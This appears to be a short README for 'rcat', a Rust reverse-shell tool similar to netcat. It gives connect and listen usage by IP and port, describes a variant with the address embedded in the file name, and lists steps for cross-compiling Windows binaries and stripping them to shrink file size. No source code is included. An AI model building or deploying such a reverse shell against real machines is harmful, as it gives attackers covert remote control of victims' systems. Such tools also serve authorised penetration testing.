Simple rust reverse shell, similar to nc.
rcat.exe connect <ip> <port>
rcat.exe listen <ip> <port>
rcat_ip_port.exe
sudo apt update && sudo apt install mingw-w64
rustup target add x86_64-pc-windows-gnu
rustup toolchain install stable-x86_64-pc-windows-gnu
Windows:
cargo build --release --target x86_64-pc-windows-gnu
Linux:
cargo build --release
To reduce the filesize further, you can strip the binaries with strip
.